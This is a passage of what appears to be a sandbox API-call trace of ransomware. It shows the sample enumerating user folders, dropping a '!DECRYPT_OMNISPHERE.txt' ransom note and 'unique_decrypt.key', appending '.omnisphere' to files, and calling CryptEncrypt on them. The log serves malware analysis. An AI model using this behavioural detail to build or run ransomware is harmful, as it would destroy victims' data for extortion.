PowerShell\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key" [0154.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0154.883] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0154.883] CloseHandle (hObject=0x3c0) returned 1 [0154.883] GetProcessHeap () returned 0x1600000 [0154.883] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17306c8 | out: hHeap=0x1600000) returned 1 [0154.883] GetProcessHeap () returned 0x1600000 [0154.883] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1731160 | out: hHeap=0x1600000) returned 1 [0154.883] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0154.883] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0154.884] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x39e4e757, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x39e4e757, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0154.884] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x39e4e757, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x39e4e757, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.884] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39668b5e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x39668b5e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3d6a7371, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0154.884] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x395f50ac, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0154.884] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x395ced7d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x395ced7d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x395f50ac, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0154.884] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39668b5e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x39668b5e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3d6a7371, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0154.884] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x396d9dec, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xde0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell (x86).lnk.omnisphere", cAlternateFileName="WINDOW~1.OMN")) returned 1 [0154.884] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x396d9dec, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x396d9dec, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x396d9dec, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell (x86).lnk.omnisphere.id", cAlternateFileName="WINDOW~1.ID")) returned 1 [0154.884] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x39c5d51c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE (x86).lnk.omnisphere", cAlternateFileName="WINDOW~2.OMN")) returned 1 [0154.884] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39c5d51c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x39c5d51c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x39c5d51c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE (x86).lnk.omnisphere.id", cAlternateFileName="WINDOW~2.ID")) returned 1 [0154.885] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x39ddacf6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE.lnk.omnisphere", cAlternateFileName="WINDOW~3.OMN")) returned 1 [0154.885] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39ddacf6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x39ddacf6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x39ddacf6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE.lnk.omnisphere.id", cAlternateFileName="WINDOW~3.ID")) returned 1 [0154.885] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d634d94, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xde0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk.omnisphere", cAlternateFileName="WINDOW~4.OMN")) returned 1 [0154.885] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e4e757, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x39e4e757, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3d634d94, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk.omnisphere.id", cAlternateFileName="WINDOW~4.ID")) returned 1 [0154.885] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e4e757, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x39e4e757, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3d634d94, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk.omnisphere.id", cAlternateFileName="WINDOW~4.ID")) returned 0 [0154.885] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0154.885] GetProcessHeap () returned 0x1600000 [0154.885] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0154.885] GetProcessHeap () returned 0x1600000 [0154.885] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0154.885] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 0 [0154.885] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0154.885] GetProcessHeap () returned 0x1600000 [0154.885] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656eb0 | out: hHeap=0x1600000) returned 1 [0154.886] GetProcessHeap () returned 0x1600000 [0154.886] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656b68 | out: hHeap=0x1600000) returned 1 [0154.886] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ed2094d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ed2094d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ed2094d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0154.886] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ed2094d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ed2094d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ed2094d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0154.886] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0154.886] GetProcessHeap () returned 0x1600000 [0154.886] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b1608 | out: hHeap=0x1600000) returned 1 [0154.886] GetProcessHeap () returned 0x1600000 [0154.886] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633408 | out: hHeap=0x1600000) returned 1 [0154.886] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f43b6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d53e9c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0154.886] GetProcessHeap () returned 0x1600000 [0154.886] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x86) returned 0x16336d8 [0154.886] PathCombineW (in: pszDest=0x16336d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Templates" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Templates") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Templates" [0154.886] GetProcessHeap () returned 0x1600000 [0154.886] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8a) returned 0x16b0f80 [0154.887] PathCombineW (in: pszDest=0x16b0f80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Templates", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*" [0154.887] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f43b6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d53e9c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0154.887] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f43b6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d53e9c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0154.887] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f43b6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d53e9c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 0 [0154.888] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0154.888] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f43b6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d53e9c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0154.888] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f43b6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d53e9c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0154.888] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f43b6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d53e9c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 0 [0154.888] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0154.888] GetProcessHeap () returned 0x1600000 [0154.888] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b0f80 | out: hHeap=0x1600000) returned 1 [0154.888] GetProcessHeap () returned 0x1600000 [0154.888] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16336d8 | out: hHeap=0x1600000) returned 1 [0154.888] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed47ed46, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xed5176e5, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xed5176e5, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Themes", cAlternateFileName="")) returned 1 [0154.888] GetProcessHeap () returned 0x1600000 [0154.888] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x80) returned 0x1668c58 [0154.888] PathCombineW (in: pszDest=0x1668c58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Themes" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes" [0154.889] GetProcessHeap () returned 0x1600000 [0154.889] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x84) returned 0x1633258 [0154.889] PathCombineW (in: pszDest=0x1633258, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*" [0154.889] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed47ed46, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xed5176e5, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xed5176e5, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0154.889] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed47ed46, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xed5176e5, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xed5176e5, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0154.889] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed5176e5, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeeeb8bd4, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeeeb8bd4, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="CachedFiles", cAlternateFileName="CACHED~1")) returned 1 [0154.889] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed4a4fa5, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xed4a4fa5, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeee6c718, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1200e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="TranscodedWallpaper", cAlternateFileName="TRANSC~1")) returned 1 [0154.889] GetProcessHeap () returned 0x1600000 [0154.889] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162cec8 [0154.889] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes", pszFile="TranscodedWallpaper" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" [0154.889] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0154.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0154.890] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=73742) returned 1 [0154.891] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x11aea, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0154.891] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0154.973] GetTickCount () returned 0x1166856 [0154.973] GetTickCount () returned 0x1166856 [0154.973] GetTickCount () returned 0x1166856 [0154.973] GetTickCount () returned 0x1166856 [0154.973] GetTickCount () returned 0x1166856 [0154.973] GetTickCount () returned 0x1166856 [0154.973] GetTickCount () returned 0x1166856 [0154.973] GetTickCount () returned 0x1166856 [0154.973] GetTickCount () returned 0x1166856 [0154.973] GetTickCount () returned 0x1166856 [0154.973] GetTickCount () returned 0x1166856 [0154.973] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] GetTickCount () returned 0x1166856 [0154.974] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668a38) returned 1 [0154.978] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0155.042] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, 